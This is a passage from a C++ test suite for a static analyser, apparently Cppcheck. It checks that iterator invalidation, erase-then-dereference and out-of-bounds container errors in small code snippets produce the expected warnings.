check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n 